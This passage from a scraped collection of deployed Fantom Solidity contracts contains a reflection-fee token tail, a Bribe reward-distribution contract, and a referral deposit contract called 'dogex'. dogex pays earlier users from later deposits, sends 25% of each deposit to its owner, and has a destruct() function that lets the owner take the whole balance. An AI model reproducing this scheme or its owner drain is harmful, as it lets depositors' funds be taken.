if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(11);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 79,394 | 14,012 |
bbc5f6056f1af3caf2b4001d8d85494daa78b6c462bfc60a95cd278ba1cba9f2
| 19,180 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/49/494CA2a5C691F44b2C7c6a6bF8015fc060aA84E7_Bribe.sol
| 4,321 | 17,882 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
}
contract Bribe {
address public immutable gaugeProxy; // only factory can modify balances (since it only happens on vote())
uint public constant DURATION = 7 days; // rewards are released over 7 days
uint public constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate; // token => reward rate
mapping(address => uint) public periodFinish; // token => time
mapping(address => uint) public lastUpdateTime; // token => last update
mapping(address => uint) public rewardPerTokenStored; // token => reward amount per token stored
mapping(address => mapping(address => uint)) public lastEarn; // token => voter => last claim
mapping(address => mapping(address => uint)) public userRewardPerTokenStored; // token => voter => reward rate
// rewards
address[] public rewards;
mapping(address => bool) public isReward; // is this token a reward
uint public totalSupply;
mapping(address => uint) public balanceOf; // balance of address voter
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (address => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, address voter, uint amount);
event Withdraw(address indexed from, address voter, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _gaugeProxy) {
gaugeProxy = _gaugeProxy;
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
function getPriorBalanceIndex(address voter, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[voter];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[voter][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[voter][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[voter][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(address voter, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[voter];
if (_nCheckPoints > 0 && checkpoints[voter][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[voter][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[voter][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[voter] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = totalSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, totalSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
function getReward(address voter, address[] memory tokens) external lock {
require(voter == msg.sender);
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], voter);
lastEarn[tokens[i]][voter] = block.timestamp;
userRewardPerTokenStored[tokens[i]][voter] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], voter, _reward);
emit ClaimRewards(voter, tokens[i], _reward);
}
}
// used by BaseV1Voter to allow batched reward claims
function getRewardForOwner(address voter, address[] memory tokens) external lock {
require(msg.sender == gaugeProxy);
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], voter);
lastEarn[tokens[i]][voter] = block.timestamp;
userRewardPerTokenStored[tokens[i]][voter] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], voter, _reward);
emit ClaimRewards(voter, tokens[i], _reward);
}
}
function rewardPerToken(address token) public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / totalSupply);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, endTime);
_startTimestamp = endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
function earned(address token, address voter) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][voter], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[voter] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(voter, _startTimestamp);
uint _endIndex = numCheckpoints[voter]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[voter][i];
Checkpoint memory cp1 = checkpoints[voter][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
Checkpoint memory cp = checkpoints[voter][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][voter])) / PRECISION;
return reward;
}
function _deposit(uint amount, address voter) external {
require(msg.sender == gaugeProxy);
totalSupply += amount;
balanceOf[voter] += amount;
_writeCheckpoint(voter, balanceOf[voter]);
_writeSupplyCheckpoint();
emit Deposit(msg.sender, voter, amount);
}
function _withdraw(uint amount, address voter) external {
require(msg.sender == gaugeProxy);
totalSupply -= amount;
balanceOf[voter] -= amount;
_writeCheckpoint(voter, balanceOf[voter]);
_writeSupplyCheckpoint();
emit Withdraw(msg.sender, voter, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
return _remaining * rewardRate[token];
}
function notifyRewardAmount(address token, uint amount) external lock {
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract BaseV1BribeFactory {
address public last_gauge;
function createBribe() external returns (address) {
last_gauge = address(new Bribe(msg.sender));
return last_gauge;
}
}
| 316,603 | 14,013 |
a0416f982279007d5220e72cb544936012ef51a6c6eeb9fd09a3347038d5e3b9
| 19,816 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2c/2c492CeE412f98f81E1386F274FfF71F817B8b5d_Sync.sol
| 4,403 | 15,456 |
pragma solidity 0.6.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Destructible {
address payable public grand_owner;
event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner);
constructor() public {
grand_owner = msg.sender;
}
function transferGrandOwnership(address payable _to) external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
grand_owner = _to;
}
function destruct() external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
selfdestruct(grand_owner);
}
}
contract dogex is Ownable, Destructible, Pausable {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
uint256[] public cycles; // ether
uint8[] public ref_bonuses; // 1 => 1%
uint8[] public pool_bonuses; // 1 => 1%
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
ref_bonuses.push(15);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(7);
ref_bonuses.push(6);
ref_bonuses.push(5);
ref_bonuses.push(4);
ref_bonuses.push(4);
ref_bonuses.push(4);
ref_bonuses.push(3);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
cycles.push(20000 ether);
cycles.push(40000 ether);
cycles.push(90000 ether);
cycles.push(200000 ether);
}
receive() payable external whenNotPaused {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner(), "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 50 ether && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
payable(owner()).transfer(_amount / 4);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount / 200;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external whenNotPaused {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external whenNotPaused {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
payable(msg.sender).transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function drawPool() external onlyOwner {
_drawPool();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 20 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 133) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
